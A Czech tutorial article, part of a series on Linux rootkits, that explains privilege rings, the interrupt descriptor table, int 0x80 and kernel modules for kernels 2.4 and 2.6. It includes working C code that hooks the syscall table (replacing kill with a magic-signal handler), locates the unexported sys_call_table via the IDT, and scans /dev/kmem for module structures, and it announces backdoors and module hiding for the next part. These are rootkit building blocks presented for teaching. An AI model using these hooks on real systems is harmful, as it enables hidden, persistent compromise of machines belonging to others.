Linuxovy rootkit: moduly versus /dev/kmem V paralelním díle si vysvětlujeme, co to vlastně rootkit je a prošli jsme téma skývání procesů. Nyní získáme potřebné teoretické základy pro úplné pochopení zdrojových kódů a metod popisovaných v prvním díle. Budeme se zabývat kernelovými moduly, jak se dají pomocí nich hookovat systémová volání a zjistíme něco málo o tom, jak využívat /dev/kmem. Kernelové moduly jsou závislé na verzi kernelu, tedy API řady 2.4.x je malinko odlišné od 2.5.x a 2.6.x. Moduly budu popisovat pro řady 2.4 i 2.6. Použití /dev/kmem je v obou případech stejné. Článek není určen pro začátečníky, ale budu se snažit při vysvětlování v zájmu srozumitelnost věci malinko zjednodušovat. Nechci zabíhat do přílišných podrobností, jde mi spíše o to vysvětlit princip. Před tím, než se začnu věnovat hlavnímu tématu článku, vysvětlím trochu teorie nezbytně nutné pro pochopení programů popisovaných v tomto a paralelním článku. #1. Úrovně oprávnění Jak už jsme nakousli v paralelním díle, v chráněném režimu, v němž pracují snad všechny moderní operační systémy, existuje více úrovní oprávnění. Intelovská architektura obsahuje 4 urovně oprávnění (0 - 3). V dokumentaci Intelu jsou znázorňované pomocí 4 soustředných kruhů, nejspíš proto se jim říká ring 0 - ring 4. Unix-like systémy využívají pouze dvě. Úroveň 0 pro kernel a 4 pro vše ostatní. Paměťovým prostorům s těmito úrovněmi oprávnění říkáme kernelspace a userspace (nebo také userland;). Programy v userspace nemohou vykonavát privilegované instrukce (to lze pouze s úrovní 0), provádět I/O instrukce (out, in, ..) a samozřejmě nemají přístup k paměti kernelu. #2. Interrupt descriptor table (IDT) Často program potřebuje provádět věci, na které je potřeba vyšší úroveň oprávnění (např. zápis nebo čtení z disku), ale proces nesmí předat řízení do paměťového segmentu s jinou úrovní oprávnění, než má sám. Pouze přes tzv. brány (gates). Pro nás je důležité, že jedním typem bran jsou přerušení a dále budu mluvit pouze o nich. Brány jsou jako tzv. deskriptory uloženy v tabulce o 256 položkách (všechny nemusí být využity). Této tabulce se říká "interrupt descriptor table", zkráceně IDT. Adresa IDT je uložena ve speciálním registru IDTR (IDT register). Registr obsahuje bázi IDT (4 bajty), tedy adresu začátku IDT, a limit (2 bajty), který určuje délku IDT. Registr lze naplňit pouze privilegovanou instrukcí LIDT a přečíst instrukcí SIDT. Deskriptory v tabulce vypadají takto: |--------------------------------------------------------------------------------------------| | offset (31 - 16) 2B | flagy 1B | rezervovano 1B | segment selector 2B | offset (15 - 0) 2B | |--------------------------------------------------------------------------------------------| Přičemž offset, adresa handleru (obslužné funkce) daného přerušení, je rozdělen na horní a dolní část. Podrobnější rozebírání této problematiky už opravdu přesahuje rámec tohoto článku, zájemci mají možnost nastudovat detaily v dokumentaci Intelu [3]. #3. Přerušení 0x80 Proč mluvím o přerušeních? Protože systémová volání jsou spouštěna přerušením 0x80 (přesněji jeho obslužnou funkcí)(hodnota 0x80 je zapsána v syntaxi jazyka C, 0x před číslem znamená, že číslo je šestnáctkové soustavě). Pokud tedy program volá např. write, ve skutečnosti uloží do registu EAX číslo systémového volání (v tomto případě 4), do EBX, ECX a EDX parametry funkce write a pomocí instrukce int provede přerušení 0x80. Toto přerušení v podstatě udělá to, že předá řízení funkci, jejíž adresa se nachází v tabulce systémových volání na pozici dané registrem EAX (kam, jak jsem psal, předem uložíme číslo systémového volání). #4. Loadable kernel modules (LKM) Pod touto zkratkou se skrývají moduly jádra. Nejčastěji se tyto moduly používají jako ovladače zařízení, ale obecně se dají využít na cokoli, co chceme, aby běželo v režimu jádra a mělo tak všechna oprávnění, např. rootkit, ale i různé bezpečnostní moduly. Je to v podstatě kus kódu, který se při připojení stane součástí jádra. V modulech pro jádra řady 2.4 a 2.6 je několik rozdílů. Tou pro nás nejpodstatnejší změnou je zrušení exportování symbolu sys_call_table kernelem. Znamená to, že v modulech pro jádra >= 2.5 nemáme přímo přístupnou tabulku systémových volání. Ale k tomu se ješte dostaneme, podívejme se na to pěkně popořádku. #4.1 LKM v jádrech 2.4 Jaký formát mají tedy moduly pro jádra 2.4? Nejlépe se to asi bude vysvětlovat klasickém příkladu -- "Hello, world!" :) #define __KERNEL__ #define MODULE #include #include /* funkce, která se provádí při pripojení modulu do jádra */ int init_module(void) { printk(KERN_DEBUG "Hello, world!\n"); return(0); } /* funkce, která se provádí při odpojení modulu z jádra */ void cleanup_module() { printk(KERN_DEBUG "Bye, world!\n"); } Jak vidíme, kód je velmi jednoduchý. Tento modul taky nedělá nic převratného. Po připojení modulu se provede funkce init_module, tzn. vypíše do logu "Hello, world!", při odpojení se provede cleanup_module(). KERN_DEBUG ve funkci printk je řetězec, který udává prioritu zprávy. Řetězce jsou definovány v linux/kernel.h. Při kompilaci modul nelinkujeme, to se provádí až při načítání do jádra. [blackbox ~] % gcc -c -O2 hello.c Podle mnohých zdrojů je nutné zapnout optimalizaci alespoň O2. Tento modul funguje i bez ní. Optimalizace mu ale neuškodí, takže není důvod, proč doporučení neuposlechnout. Modul připojíme příkazem insmod a odpojíme pomocí rmmod: [blackbox ~] % insmod mod.o [blackbox ~] % dmesg | tail -n1 Hello, world [blackbox ~] % rmmod mod.o [blackbox ~] % dmesg | tail -n1 Bye, world [blackbox ~] % #4.2 Patchování systémových volání v jádrech 2.4 Jak už jsem říkal, v jádrech <= 2.4 je přímo dostupná tabulka systémových volání. Stačí si v našem modulu deklarovat proměnnou "extern void *sys_call_table[]". Opět si podle hesla "jeden zdrojovy kód řekne více než tisíc slov" patchování systémových volání vysvětlíme na jednoduchém příkladu: #define __KERNEL__ #define MODULE #include #include #include #include #define MAGIC_SIG 69 /* tabulka systémových volání */ extern void *sys_call_table[]; /* ukazatel na původí funkci */ int (*orig_kill) (pid_t, int); /* naše nové systémové volání */ int new_kill(pid_t pid, int sig) { int ret = 0; if (sig != MAGIC_SIG) /* provede původní kill */ ret = (*orig_kill)(pid,sig); else { /* náš kód při zadání kouzelného signálu ;) */ printk(KERN_DEBUG "signal 69 !!!\n"); } return ret; } int init_module() { /* uloží původní kill */ orig_kill = sys_call_table[__NR_kill]; /* nahradí adresu syscallu v tabulce systémových volání * adresou naší funkce */ sys_call_table[__NR_kill] = new_kill; return 0; } void cleanup_module() { /* vrátí zpět původní kill */ sys_call_table[__NR_kill] = orig_kill; } Tento modul při připojení nahradí v sys_call_table ukazatel na systémové volání kill za ukazatel na naši funkci new_kill. Ta kontroluje, zda se číslo signálu rovná námi definované hodnotě a pokud ano, provede se náš kód (v tomto případe se vypíše text "signal 69 !!!"), jinak se provede původní volání. orig_kill je ukazatel na funkci stejného typu a se stejnými parametry jako kill. Uložíme do ní adresu ze sys_call_table na pozici __NR_kill. Na to místo pak uložíme adresu new_kill. Při odpojování modulu je nutné dát volání do pořádku, protože s modulem se z paměti odstraní i naše funkce. Při pokusu použít kill by systém spouštel kód v nealokované části paměti, což by kernel neunesl a zpanikařil by :) Jak vidíme, je to velmi prostý princip. V paralelními díle si povíme, jak tímto způsobem skryjeme procesy a soubory. #4.3 LKM v jádrech 2.6 Jádra pro kernely >= 2.5 se malinko liší. Zde je verze našeho hello world pro jádro 2.6: #include #include #include int static __init init_module(void) { printk(KERN_DEBUG "Hello, world\n"); return 0; } void static __exit cleanup_module(void) { printk(KERN_DEBUG "Bye, world\n"); } module_init(init_module); module_exit(cleanup_module); MODULE_LICENCE("GPL"); Můžeme si všimnout několika změn. Již nemusíme definovat __KERNEL__ a MODULE, protože se moduly kompilují jiným způsobem, který všechny potřebné volby zahrnuje automaticky. Další změnou je nutnost deklarovat funkce, které se provedou při inicializaci modulu (pomocí module_init) a při odstranění modulu (pomocí module_exit). module_init a module_exit jsou v linux/init.h, takže jej nesmíme zapomenout uvést jako include. Na konci vidíme makro pro definování licence modulu. Není to vyžadováno, ale při absenci se vypíše a do logu uloží chybová hláška, ve které si kernel stěžuje, že jsme nedefinovali licenci. Způsob kompilace je zcela jiný. Využívá se kernel build systému pro kompilaci modulů. Vytvoříme si Makefile, který obsahuje 1 řádek: obj-m := hello.o Modul potom zkompilujeme příkazem (z adresáře obsahujícího modul a Makefile): make -C /usr/src/linux-2.6.2/ SUBDIRS=`pwd` modules Zkompilovaný modul má koncovku .ko (kernel object), což je další změna oproti starším kernelům. Vkládání a odstraňováni modulů se provádi stejně, změnil se však systém pro práci s moduly. Máme-li tedy starší systém s novým jádrem, musíme si stáhnout a nainstalovat module-init-tools (http://www.kernel.org/pub/linux/utils/kernel/module-init-tools/). #4.4 Patchováni systémových volání v jádrech 2.6 Hello world jsme doufám zkompilovali, ale s ním toho moc nenaděláme. Jak tedy patchneme nějaké systémové volání? Musíme nejdříve zjistit, na jaké adrese začíná sys_call_table. V paralelním díle již tuto metodu používáme, zde si vysvětlíme, jak pracuje. Handler přerušení 0x80 volá funkci z adresy, která je uložena na sys_call_table + 4*<číslo_volání>;. Když si handler přerušení disassemblujeme, zjistíme, že první instrukce call od začátku handleru je volání daného syscallu. Bajty jsou uloženy následovně: | instrukce call | adresa sys_call_table | | ff | 14 | 85 | | | | | Pokud tedy najdeme instrukci call (posloupnost 3 bajtu "\xff\x14\x85"), snadno zjistíme adresu sys_call_table. Pro ujasnění podrobností jistě pomůže zdrojový kód funkce get_sct(): unsigned int get_sct() { ulong offset; ulong sct; char *p; struct { unsigned short limit; /* délka IDT == base + limit */ unsigned int base; /* offset IDT */ } __attribute__ ((packed)) idtr; /* interrupt descriptor table register */ struct { unsigned short off1; /* dolní část offsetu */ unsigned short sel; /* segment selector */ unsigned char none, flags; /* reservováno, flagy (DPL) */ unsigned short off2; /* horní část offsetu */ } __attribute__ ((packed)) descriptor; /* obsah IDT registru uložíme do struktury "idtr" */ asm ("sidt %0" : "=m" (idtr)); /* načteme deskriptor 0x80 do struktury "descriptor" */ memcpy(&descriptor, (void *)(idtr.base + 0x80 * 8), sizeof(descriptor)); /* zjistíme offset handleru */ offset = (descriptor.off2 << 16) | descriptor.off1; /* vyhledáme řetězec identifikující volání funkce ze sys_call_table */ p = (char*) memmem ((char *)offset, 100, "\xff\x14\x85", 3); if (!p) return 0; /* adresa sys_call_table je až za hledanými třemi bajty */ sct = *(unsigned int*)(p+3); return (unsigned int)sct; } Nahoře máme struktury do nichž uložíme idt registr a deskriptor přerušení 0x80, potom složíme offset handleru, přečteme z něj 100 bajtů a vyhledáme v nich instrukci call. Adresa sys_call_table jsou pak 4 bajty za hledanou instrukcí. Patchování volání bude taky malinko odlišné, ale nejde o nic jineho než o kopírování paměti. Zde máte verzi předchozího příkladu patchování syscallu upravenou pro jádra 2.6: #include #include #include #define MAGIC_SIG 69 #define SYS_KILL 37 void * memmem(char *s1, int l1, char *s2, int l2) { if (!l2) return s1; while (l1 >= l2) { l1--; if (!memcmp(s1,s2,l2)) return s1; s1++; } return NULL; } /* sem patří funkce get_sct, popsaná výše */ /* ukazatel na původí funkci */ int (*o_kill) (pid_t, int); /* naše nové systémové volání */ int new_kill(pid_t pid, int sig) { int ret = 0; if (sig != MAGIC_SIG) /* provede původni kill */ ret = (*orig_kill)(pid,sig); else { /* náš kód při zadání kouzelného signálu ;) */ printk(KERN_DEBUG "signal 69 !!!\n"); } return ret; } /* makro pro hookování systémových volání, "sct" je adresa sys_call_table, * handler je pomocná proměnná typu unsigned int. "no" znamená číslo syscallu, * "name" jeho jméno. * Makro předpokládá, že máme definován ukazatel na původní funkci nazvaný * o_ jako globální proměnnou a že název nové funkce je new_ */ #define HOOK(no, name) \ memcpy(&handler, (void *)(sct+(no)*4), 4); \ o_##name = (void *) handler; \ handler = (unsigned int)new_##name; \ memcpy((void *)(sct+(no)*4), (void *)&handler, 4); /* makro pro obnovení původního volání */ #define RESTORE(no, name) \ handler = (unsigned int)o_##name; \ memcpy((void *)(sct+(no)*4), (const void *)&handler, 4); /* inicializace modulu */ static int __init mod_init() { unsigned int sct = get_sct(); unsigned int handler; /* změníme volání kill na naší funkci */ HOOK(SYS_KILL, kill); return 0; } /* odstranění modulu */ static void __exit mod_exit() { unsigned int sct = get_sct(); unsigned int handler; /* dáme volání do původního stavu */ RESTORE(SYS_KILL, kill); } module_init(mod_init); module_exit(mod_exit); MODULE_LICENSE("GPL"); Změna je tedy ve způsobu přístupu k sys_call_table. Dříve šlo pouze o zaměňování prvků pole, zde musíme adresy kopírovat "ručně". Pro usnadnění jsem napsal makra, která se o to starají za nás. Makro HOOK změní adresu systémového volání číslo "no", na adresu námi definované funkce s názvem "new_". Dříve však uloží původní adresu do proměnné "o_", kde znamená druhý parametr makra. Makro RESTORE pouze přesune původní adresu na své místo v sys_call_table. #5 /dev/kmem.. ... je obraz virtuální paměti, tzn. vše co se nachází v paměti, můžeme najít i v /dev/kmem. Superuživatel má práva do tohoto souboru zapisovat -> může zapisovat kamkoli do paměti, vcetně paměti v kernelspace. Může tedy měnit např. údaje o běžících procesech, nebo měnit struktury kernelu, jako třeba sys_call_table. Tento článek slouží pouze k osvětlení technik popisovaných v paralelním článku, proto pokročilejší využití /dev/kmem, jako je například hookování systémových volání, nepopisuje. Na konci však najdete odkazy, kde se můžete dovědět více. 5.1 Zjištění požadované adresy Celý problém využívání /dev/kmem spočívá v nalezení adresy funkce nebo stuktury. Adresy všech symbolů jsou uloženy v souboru System.map. Ten je uložen v kořenovém adresáři zdrojových textů jádra. Existuje také soubor /proc/kallsyms (popř. /proc/ksyms v systémech se staršími jádry). Pokud jste správce systému, máte System.map k dispozici, takže všechny adresy si můžete zjistit tam. Jak můžeme vidět, soubor má velmi přehlednou strukturu. První položka je adresa, třetí je název symbolu. Chceme-li například zjistit adresu sys_call_table, můžeme například takto: $ grep " sys_call_table" /boot/System.map | cut -f1 -d" " Ale System.map není potřeba pro běh systému. Takže pokud náhodou nejste správce daného systému, nemáte jistotu, že najdete System.map s aktuálními inforamcemi. Je-li však zapnuta podporu LKM, existuje elegantnější způsob, jak potřebný symbol najít. Není třeba žádných souborů, využíváme funkci get_kernel_syms(). Její prototyp je v hlavičkovém souboru linux/module.h. int get_kernel_syms(struct kernel_sym *table); Funkce vyplní pole struktur kernel_sym, v případě, že jsme parametr nechali NULL, vrátí nám počet symbolů. Struktura kernel_sym má pouze 2 položky. "value" je typu unsigned long a je to adresa, kde se symbol nachází. Druhá položka je "name" a je to pole typu char délky 60. Funkce pro vyhledání adresy požadovaného symbolu vypadá následovně: #define MAX_SYMS 1500 unsigned int get_addr(char *sym) { int i; struct kernel_sym symbols[MAX_SYMS]; int count = get_kernel_syms(symbols); for (i = 0; i < count ; i++) if (!strcmp(symbols[i].name, sym)) return symbols[i].value; return 0; } Problém ale přijde, pokud nebude v kernelu zakompilovaná podpora modulů. V tom případě kernel ani neuchovává informace o symbolech, takže get_kernel_syms nám nepomůže. Nezbývá nám jiná možnost, než hrubá síla. Prostě musíme prohledat paměť. Nemusíme ji však prohledávat celou, pokud si uvědomíme, co vlastně hledáme. Příkladem je hledání sys_call_table popisované výše. Z dostupných informací sme určili polohu adresy sys_call_table na 100 bajtů přesně. Pak jsme hledali pouze v těch 100 bajtech. Často potřebujeme najít strukturu popisující např. proces nebo modul. O takové struktuře víme pouze to, že se nachází někde v kernelspace. Ze zdrojových kódů jádra lze také získat informace. Ukážeme si jako příklad postup při hledání modulů jádra v /dev/kmem. Nejdříve se podíváme na deklaraci struktury module, která obsahuje informace o jednom modulu. Najdeme ji v hlavičkovém souboru linux/module.h. Jde pouze o ukázku principu, proto si to raději vysvětlíme pro jádra řady 2.4. Důvodem je to, že 2.6ková jádra mají jinou strukturu module, která se hledá malinko obtížněji. Princip je však naprosto stejný. Takže jak tato struktura vypadá v jádrech 2.4.x : struct module { unsigned long size_of_struct; /* == sizeof(module) */ struct module *next; const char *name; unsigned long size; union { atomic_t usecount; long pad; } uc; unsigned long flags; unsigned nsyms; unsigned ndeps; struct module_symbol *syms; struct module_ref *deps; struct module_ref *refs; int (*init)(void); void (*cleanup)(void); ... Naším úkolem je tedy v /dev/kmem vyhledat všechny takovéto struktury. Jak vidíme v delkaraci, hned první položka obsahuje informaci o velikosti struktury. Ta bude samozřejmě stejná a bude rovna přesně sizeof(struct module) ;) To může být jedna z indicií naznačujících, že jsme nalezli modul. Dále vidíme spoustu ukazatelů. Je jasné, že mohou být buď NULL nebo ukazovat někam do kernelspace, tedy obvykle nad hranici 0xc0000000. Některé položky ani NULL být nemohou (např. ukazatel na inicializační funkci). Takže máme spoustu informací na to, abysme mohli usoudit, zda jsou určitá data struktura struct module. Kde však budeme hledat? Budeme prohledávat pouze kernelspace. Každá tato struktura je umístěna na začátku paměťové stránky, takže nemusíme prohledávat paměť po bajtech, ale stačí po stránkách, což je na intelovské architektuře 4kB. Rovněž není třeba hned načítat z paměťi celou strukturu. Stačí nám nejdřív 4 bajty ( == sizeof(unsigned long)), zkonrolovat, zda je v nich uložena sizeof(struct module) a pokud ano, načíst celou strukturu, na které provedeme zbývající testy. Zjednodušeně by to mohlo vypadat například takto: #include #include #include #include #include #include #include #define PAGESIZE 4096 int rkm(int fd, void *data, unsigned long offset, int size) { if (lseek(fd, offset, SEEK_SET) != offset) return 0; if (read(fd, data, size) != size) return 0; return size; } int main() { int kmem; unsigned long num; unsigned int addr; char name[128] = {0}; struct module mod; /* adresa musí být násobkem velikosti stránky */ addr = (0xc0400000 / PAGESIZE) * PAGESIZE; /* otevřeme /dev/kmem */ kmem = open("/dev/kmem", O_RDWR); /* hledáme, dokud adresa nedosáhne určité hodnoty */ while (addr < 0xe0000000) { addr += PAGESIZE; /* přečteme 4B, ve kterých by měla být uložena velikost struktury */ rkm(kmem, &num, addr, sizeof(num)); if (num == sizeof(struct module)) { /* načteme celou strukturu */ rkm(kmem, &mod, addr, sizeof(mod)); /* ověříme ještě adresy funkcí, které se volají při inicializaci a odstranění modulu */ if ((unsigned int)mod.init < 0xc0000000 || (unsigned int)mod.cleanup < 0xc000000) continue; /* přečteme jméno modulu, je-li tam špatná adresa, rkm vrátí 0 */ if (rkm(kmem, &name, (unsigned)mod.name, sizeof(name)) != sizeof(name)) continue; printf("Module found at 0x%x: '%s'\n", addr, name); } } close(kmem); return 0; } Pokud program najde i něco jiného než moduly, je možné si přidat ještě pár testů, nebo zpřesnit možné rozsahy hodnot, ale tohle by mělo být dostačující. Program dělá přesně to, co jsem popisoval výše, takže už doufám není třeba popisovat jeho funkci. Při nejasnostech jistě pomohou kometáře přímo ve zdrojáku. Občas také potřebujeme znát adresu nějaké funkce. Pokud víme, že je používaná některým systémovým voláním, můžeme např. vyhledávat instrukce call v kódu obslužné funkce daného volání. Tu si snadno zjistíme ze sys_call_table. Nebo pokud víme, že má funkce nějaké specifické parametry, můžeme skusit hledat data odpovídající instrukcím push push call Samořejmě takových funkcí může být spousta, ale máme šanci, že největší procento takto nalezených adres bude hledaná funkce. To už bychom ale zabíhali do podrobností, které přesahují rámec tohoto lehkého seznámení s /dev/kmem. Více informací najdete v odkazech [1] a [4]. Další zdroje: [1] Patchování linuxového /dev/kmem - www.hysteria.sk/prielom/17/#2 [2] Detekce kernelových rootkitů - www.hysteria.sk/prielom/22/#2 [3] Intel architecture: software developer's manual - www.hysteria.sk/~trace/intel [4] Časopis Phrack - www.phrack.org [5] Linux Device Drivers, 2nd edition - www.xml.com/ldd/chapter/book/bookindexpdf.html #6 příště Skrývání procesů jsme probrali v paralelním díle, v dalším se můžete těšit na vytváření backdoorů, dále také na skývání modulů a způsoby jejich odhalení nebo presměrování spustitelných souborů. Jiří Hýsek